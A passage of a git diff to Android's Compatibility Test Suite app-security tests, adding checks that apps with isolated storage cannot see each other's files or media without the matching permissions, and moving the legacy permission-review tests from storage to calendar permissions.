+ runDeviceTests(MEDIA_PKG, MEDIA_CLASS, "testMediaRead", user);
+ }
+ }
+
+ @Test
+ public void testMediaWrite() throws Exception {
+ // STOPSHIP: remove this once isolated storage is always enabled
+ Assume.assumeTrue(hasIsolatedStorage());
+
+ installPackage(MEDIA_APK);
+ for (int user : mUsers) {
+ updatePermission(MEDIA_PKG, user, PERM_READ_MEDIA_IMAGES, true);
+ updateRole(MEDIA_PKG, user, ROLE_GALLERY, true);
+
+ runDeviceTests(MEDIA_PKG, MEDIA_CLASS, "testMediaWrite", user);
+ }
+ }
+
private boolean access(String path) throws DeviceNotAvailableException {
final long nonce = System.nanoTime();
return getDevice().executeShellCommand("ls -la " + path + " && echo " + nonce)
.contains(Long.toString(nonce));
}
- private void enableWriteSettings(String packageName, int userId)
- throws DeviceNotAvailableException {
- StringBuilder cmd = new StringBuilder();
- cmd.append("appops set --user ");
- cmd.append(userId);
- cmd.append(" ");
- cmd.append(packageName);
- cmd.append(" android:write_settings allow");
- getDevice().executeShellCommand(cmd.toString());
- try {
- Thread.sleep(2200);
- } catch (InterruptedException e) {
- }
+ private void updatePermission(String packageName, int userId, String permission, boolean grant)
+ throws Exception {
+ final String verb = grant ? "grant" : "revoke";
+ getDevice().executeShellCommand(
+ "cmd package " + verb + " --user " + userId + " " + packageName + " " + permission);
+ }
+
+ private void updateAppOp(String packageName, int userId, String appOp, boolean allow)
+ throws Exception {
+ final String verb = allow ? "allow" : "default";
+ getDevice().executeShellCommand(
+ "cmd appops set --user " + userId + " " + packageName + " " + appOp + " " + verb);
+ }
+
+ private void updateRole(String packageName, int userId, String role, boolean add)
+ throws Exception {
+ final String verb = add ? "add-role-holder" : "remove-role-holder";
+ getDevice().executeShellCommand(
+ "cmd role " + verb + " --user " + userId + " " + role + " " + packageName);
+ }
+
+ private boolean hasIsolatedStorage() throws DeviceNotAvailableException {
+ return getDevice().executeShellCommand("getprop persist.sys.isolated_storage")
+ .contains("true");
}
private void wipePrimaryExternalStorage() throws DeviceNotAvailableException {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index e5c9aba..3f76502 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -36,7 +36,7 @@
private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
private static final String APK_22 = "CtsUsePermissionApp22.apk";
- private static final String APK_22_ONLY_STORAGE = "RequestsOnlyStorageApp22.apk";
+ private static final String APK_22_ONLY_CALENDAR = "RequestsOnlyCalendarApp22.apk";
private static final String APK_23 = "CtsUsePermissionApp23.apk";
private static final String APK_25 = "CtsUsePermissionApp25.apk";
private static final String APK_26 = "CtsUsePermissionApp26.apk";
@@ -461,54 +461,54 @@
"locationPermissionIsNotSplit");
}
- public void testDenyStorageDuringReview() throws Exception {
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_STORAGE), false,
+ public void testDenyCalendarDuringReview() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_CALENDAR), false,
false));
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(REVIEW_HELPER_APK), true,
true));
- runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS, "denyStoragePermissions");
+ runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS, "denyCalendarPermissions");
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
- "testAssertNoStorageAccess");
+ "testAssertNoCalendarAccess");
}
- public void testDenyGrantStorageDuringReview() throws Exception {
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_STORAGE), false,
+ public void testDenyGrantCalendarDuringReview() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_CALENDAR), false,
false));
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(REVIEW_HELPER_APK), true,
true));
- runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS, "denyGrantStoragePermissions");
+ runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS, "denyGrantCalendarPermissions");
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
- "testAssertStorageAccess");
+ "testAssertCalendarAccess");
}
- public void testDenyGrantDenyStorageDuringReview() throws Exception {
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_STORAGE), false,
+ public void testDenyGrantDenyCalendarDuringReview() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_CALENDAR), false,
false));
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(REVIEW_HELPER_APK), true,
true));
runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS,
- "denyGrantDenyStoragePermissions");
+ "denyGrantDenyCalendarPermissions");
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
- "testAssertNoStorageAccess");
+ "testAssertNoCalendarAccess");
}
public void testCancelReview() throws Exception {
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_STORAGE), false,
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22_ONLY_CALENDAR), false,
false));
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(REVIEW_HELPER_APK), true,
true));
- // Start APK_22_ONLY_STORAGE, but cancel review
+ // Start APK_22_ONLY_CALENDAR, but cancel review
runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS,
"cancelReviewPermissions");
- // Start APK_22_ONLY_STORAGE again, now approve review
+ // Start APK_22_ONLY_CALENDAR again, now approve review
runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS, "approveReviewPermissions");
runDeviceTests(REVIEW_HELPER_PKG, REVIEW_HELPER_TEST_CLASS,
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index 2265dec..3fd47d8 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -438,6 +438,8 @@
final ContentResolver contentResolver =
InstrumentationRegistry.getContext().getContentResolver();
+ // TODO(b/120026065): Re-enable this when we fine a more reliable way to toggle the setting
+ /*
final int originalSetting = Secure.getInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 1);
Secure.putInt(contentResolver, Secure.INSTANT_APPS_ENABLED, 0);
try {
@@ -448,7 +450,7 @@
startViewIntent.addCategory(Intent.CATEGORY_BROWSABLE);
startViewIntent.setData(Uri.parse("https://cts.google.com/ephemeral"));
InstrumentationRegistry.getContext().startActivity(
- startViewIntent, null /*options*/);
+ startViewIntent, null);
final TestResult testResult = getResult();
fail();
} catch (TestResultNotFoundException expected) {
@@ -461,7 +463,7 @@
.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_MATCH_EXTERNAL);
InstrumentationRegistry.getContext().startActivity(
- startEphemeralIntent, null /*options*/);
+ startEphemeralIntent, null);
final TestResult testResult = getResult();
assertThat("com.android.cts.ephemeralapp1", is(testResult.getPackageName()));
assertThat(ACTION_START_EPHEMERAL_ACTIVITY, is(testResult.getIntent().getAction()));
@@ -470,6 +472,7 @@
} finally {
Secure.putInt(contentResolver, Secure.INSTANT_APPS_ENABLED, originalSetting);
}
+ */
// connect to the instant app provider
{
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.mk
new file mode 100644
index 0000000..efb4bce
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := test_current
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := android.test.base.stubs
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsMediaStorageApp
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml
new file mode 100644
index 0000000..dd0e218
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.mediastorageapp">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+
+ <activity android:name=".StubActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ <category android:name="android.intent.category.APP_GALLERY" />
+ </intent-filter>
+ </activity>
+
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.mediastorageapp" />
+
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+ <uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
+ <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
new file mode 100644
index 0000000..b0aa2a4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mediastorageapp;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.HashSet;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaStorageTest {
+ private Context mContext;
+ private ContentResolver mContentResolver;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
+ }
+
+ @Test
+ public void testMediaNone() throws Exception {
+ final Uri red = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+ final Uri blue = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+
+ clearMediaOwner(blue);
+
+ // Since we have no permissions, we should only be able to see media
+ // that we've contributed
+ final HashSet<Long> seen = new HashSet<>();
+ try (Cursor c = mContentResolver.query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
+ new String[] { MediaColumns._ID }, null, null)) {
+ while (c.moveToNext()) {
+ seen.add(c.getLong(0));
+ }
+ }
+
+ assertTrue(seen.contains(ContentUris.parseId(red)));
+ assertFalse(seen.contains(ContentUris.parseId(blue)));
+
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "rw")) {
+ }
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "r")) {
+ fail("Expected read access to be blocked");
+ } catch (SecurityException | FileNotFoundException expected) {
+ }
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "w")) {
+ fail("Expected write access to be blocked");
+ } catch (SecurityException | FileNotFoundException expected) {
+ }
+ }
+
+ @Test
+ public void testMediaRead() throws Exception {
+ final Uri red = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+ final Uri blue = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+
+ clearMediaOwner(blue);
+
+ // Holding read permission we can see items we don't own
+ final HashSet<Long> seen = new HashSet<>();
+ try (Cursor c = mContentResolver.query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
+ new String[] { MediaColumns._ID }, null, null)) {
+ while (c.moveToNext()) {
+ seen.add(c.getLong(0));
+ }
+ }
+
+ assertTrue(seen.contains(ContentUris.parseId(red)));
+ assertTrue(seen.contains(ContentUris.parseId(blue)));
+
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "rw")) {
+ }
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "r")) {
+ }
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "w")) {
+ fail("Expected write access to be blocked");
+ } catch (SecurityException | FileNotFoundException expected) {
+ }
+ }
+
+ @Test
+ public void testMediaWrite() throws Exception {
+ final Uri red = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+ final Uri blue = createImage(MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
+
+ clearMediaOwner(blue);
+
+ // Holding read permission we can see items we don't own
+ final HashSet<Long> seen = new HashSet<>();
+ try (Cursor c = mContentResolver.query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
+ new String[] { MediaColumns._ID }, null, null)) {
+ while (c.moveToNext()) {
+ seen.add(c.getLong(0));
+ }
+ }
+
+ assertTrue(seen.contains(ContentUris.parseId(red)));
+ assertTrue(seen.contains(ContentUris.parseId(blue)));
+
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "rw")) {
+ }
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "r")) {
+ }
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(blue, "w")) {
+ }
+ }
+
+ private static Uri createImage(Uri collectionUri) throws IOException {
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final String displayName = "cts" + System.nanoTime();
+ final MediaStore.PendingParams params = new MediaStore.PendingParams(
+ collectionUri, displayName, "image/png");
+ final Uri pendingUri = MediaStore.createPending(context, params);
+ try (MediaStore.PendingSession session = MediaStore.openPending(context, pendingUri)) {
+ try (OutputStream out = session.openOutputStream()) {
+ final Bitmap bitmap = Bitmap.createBitmap(32, 32, Bitmap.Config.ARGB_8888);
+ bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
+ }
+ return session.publish();
+ }
+ }
+
+ private static void clearMediaOwner(Uri uri) throws IOException {
+ try (InputStream is = new ParcelFileDescriptor.AutoCloseInputStream(
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "content update --uri " + uri + " --bind owner_package_name:n:"))) {
+ while (is.read() != -1) {
+ }
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/Android.mk b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/Android.mk
similarity index 96%
rename from hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/Android.mk
rename to hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/Android.mk
index d862142..4bb835d 100644
--- a/hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/Android.mk
@@ -33,7 +33,7 @@
../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res
-LOCAL_PACKAGE_NAME := RequestsOnlyStorageApp22
+LOCAL_PACKAGE_NAME := RequestsOnlyCalendarApp22
# For ACCESS_BACKGROUND_LOCATION
LOCAL_PRIVATE_PLATFORM_APIS := true
diff --git a/hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/AndroidManifest.xml
similarity index 88%
rename from hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/AndroidManifest.xml
rename to hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/AndroidManifest.xml
index 805bc9b..d19206e 100644
--- a/hostsidetests/appsecurity/test-apps/RequestsOnlyStorageApp22/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/RequestsOnlyCalendarApp22/AndroidManifest.xml
@@ -20,8 +20,9 @@
<uses-sdk android:minSdkVersion="22" android:targetSdkVersion="22" />
- <!-- Storage -->
- <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+ <!-- Calendar -->
+ <uses-permission android:name="android.permission.READ_CALENDAR"/>
+ <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
<application>
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
index c5022b5..7d76a01 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
@@ -87,49 +87,49 @@
}
@Test
- fun denyGrantDenyStoragePermissions() {
+ fun denyGrantDenyCalendarPermissions() {
startActivityInReviewedAp()
// Deny
- uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+ uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
// Confirm deny
uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
// Grant
uiDevice.waitForIdle()
- uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+ uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
// Deny
uiDevice.waitForIdle()
- uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+ uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
uiDevice.waitForIdle()
clickContinue()
}
@Test
- fun denyGrantStoragePermissions() {
+ fun denyGrantCalendarPermissions() {
startActivityInReviewedAp()
// Deny
- uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+ uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
// Confirm deny
uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
// Grant
uiDevice.waitForIdle()
- uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+ uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
uiDevice.waitForIdle()
clickContinue()
}
@Test
- fun denyStoragePermissions() {
+ fun denyCalendarPermissions() {
startActivityInReviewedAp()
// Deny
- uiDevice.wait(Until.findObject(By.text("Storage")), UI_TIMEOUT).click()
+ uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
// Confirm deny
uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 2fa5a99..710b38c 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -47,9 +47,14 @@
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiSelector;
import android.test.InstrumentationTestCase;
+import android.util.Log;
import java.io.File;
import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
import java.util.UUID;
/**
@@ -246,4 +251,61 @@
try { sm.setCacheBehaviorTombstone(ext, true); fail(); } catch (IOException expected) { }
try { sm.setCacheBehaviorTombstone(ext, false); fail(); } catch (IOException expected) { }
}
+
+ /**
+ * Create "cts" probe files in every possible common storage location that
+ * we can think of.
+ */
+ public void testExternalStorageIsolatedWrite() throws Exception {
+ final Context context = getContext();
+ final List<File> paths = new ArrayList<File>();
+ Collections.addAll(paths, Environment.getExternalStorageDirectory());
+ Collections.addAll(paths,
+ Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES));
+ Collections.addAll(paths, context.getExternalCacheDirs());
+ Collections.addAll(paths, context.getExternalFilesDirs(null));
+ Collections.addAll(paths, context.getExternalFilesDirs(Environment.DIRECTORY_PICTURES));
+ Collections.addAll(paths, context.getExternalMediaDirs());
+ Collections.addAll(paths, context.getObbDirs());
+
+ final String name = "cts_" + System.nanoTime();
+ for (File path : paths) {
+ final File otherPath = new File(path.getAbsolutePath()
+ .replace("com.android.cts.storageapp_a", "com.android.cts.storageapp_b"));
+
+ path.mkdirs();
+ otherPath.mkdirs();
+
+ final File file = new File(path, name);
+ final File otherFile = new File(otherPath, name);
+
+ file.createNewFile();
+ otherFile.createNewFile();
+
+ assertTrue(file.exists());
+ assertTrue(otherFile.exists());
+ }
+ }
+
+ /**
+ * Verify that we can't see any of the "cts" probe files created above,
+ * since our storage should be fully isolated.
+ */
+ public void testExternalStorageIsolatedRead() throws Exception {
+ final LinkedList<File> traverse = new LinkedList<>();
+ traverse.push(Environment.getStorageDirectory());
+ traverse.push(Environment.getExternalStorageDirectory());
+
+ while (!traverse.isEmpty()) {
+ final File dir = traverse.poll();
+ for (File f : dir.listFiles()) {
+ if (f.getName().startsWith("cts_")) {
+ fail("Found leaked file " + f.getAbsolutePath());
+ }
+ if (f.isDirectory()) {
+ traverse.push(f);
+ }
+ }
+ }
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml
index 6675383..ada3d19 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/res/values/strings.xml
@@ -1,4 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="Permissions">Permissions</string>
+ <string name="Deny">Deny</string>
+ <string name="Allow">Allow</string>
+ <string name="AllowAll">Allow all the time</string>
</resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
index dbfc349..1c2427a 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
@@ -16,21 +16,26 @@
package com.android.cts.usepermission;
-import static junit.framework.Assert.assertEquals;
-
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirNoAccess;
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirReadWriteAccess;
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertMediaNoAccess;
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertMediaReadWriteAccess;
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.getAllPackageSpecificPaths;
import static com.android.cts.externalstorageapp.CommonExternalStorageTest.logCommand;
+
+import static junit.framework.Assert.assertEquals;
import static junit.framework.Assert.assertTrue;
import android.Manifest;
+import android.content.ContentValues;
import android.content.Context;
import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
import android.os.Environment;
import android.os.Process;
+import android.provider.CalendarContract;
+
import org.junit.Test;
import java.io.File;
@@ -176,12 +181,32 @@
}
@Test
- public void testAssertNoStorageAccess() throws Exception {
- assertNoStorageAccess();
+ public void testAssertNoCalendarAccess() throws Exception {
+ // Without access we're handed back a "fake" Uri that doesn't contain
+ // any of the data we tried persisting
+ final Uri uri = insertCalendarItem();
+ try (Cursor c = mContext.getContentResolver().query(uri, null, null, null)) {
+ assertEquals(0, c.getCount());
+ }
}
@Test
- public void testAssertStorageAccess() {
- assertEquals(Environment.MEDIA_MOUNTED, Environment.getExternalStorageState());
+ public void testAssertCalendarAccess() {
+ final Uri uri = insertCalendarItem();
+ try (Cursor c = mContext.getContentResolver().query(uri, null, null, null)) {
+ assertEquals(1, c.getCount());
+ }
+ }
+
+ /**
+ * Attempt to insert a new unique calendar item; this might be ignored if
+ * this legacy app has its permission revoked.
+ */
+ private Uri insertCalendarItem() {
+ final ContentValues values = new ContentValues();
+ values.put(CalendarContract.Calendars.NAME, "cts" + System.nanoTime());
+ values.put(CalendarContract.Calendars.CALENDAR_DISPLAY_NAME, "cts");
+ values.put(CalendarContract.Calendars.CALENDAR_COLOR, 0xffff0000);
+ return mContext.getContentResolver().insert(CalendarContract.Calendars.CONTENT_URI, values);
}
}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml
index 6675383..ada3d19 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res/values/strings.xml
@@ -1,4 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="Permissions">Permissions</string>
+ <string name="Deny">Deny</string>
+ <string name="Allow">Allow</string>
+ <string name="AllowAll">Allow all the time</string>
</resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index 3e237a0..283be89 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -389,7 +389,7 @@
waitForIdle();
for (String permission : permissions) {
- // Find the permission toggle
+ // Find the permission screen
String permissionLabel = getPermissionLabel(permission);
AccessibilityNodeInfo labelView = getNodeTimed(() -> findByText(permissionLabel), true);
@@ -398,17 +398,28 @@
AccessibilityNodeInfo itemView = findCollectionItem(labelView);
Assert.assertNotNull("Permission item should be present", itemView);
- final AccessibilityNodeInfo toggleView = findSwitch(itemView);
- Assert.assertNotNull("Permission toggle should be present", toggleView);
+ click(itemView);
- final boolean wasGranted = toggleView.isChecked();
+ String denyLabel = mContext.getResources().getString(R.string.Deny);
+ AccessibilityNodeInfo denyView = getNodeTimed(() -> findByText(denyLabel), true);
+ Assert.assertNotNull("Deny label should be present", denyView);
+
+ final boolean wasGranted = !denyView.isChecked();
if (granted != wasGranted) {
// Toggle the permission
- if (!itemView.getActionList().contains(AccessibilityAction.ACTION_CLICK)) {
- click(toggleView);
+ if (granted) {
+ String allowLabel = mContext.getResources().getString(R.string.Allow);
+ AccessibilityNodeInfo allowView = getNodeTimed(() -> findByText(allowLabel), false);
+ if (allowView == null) {
+ String allowAllLabel = mContext.getResources().getString(R.string.AllowAll);
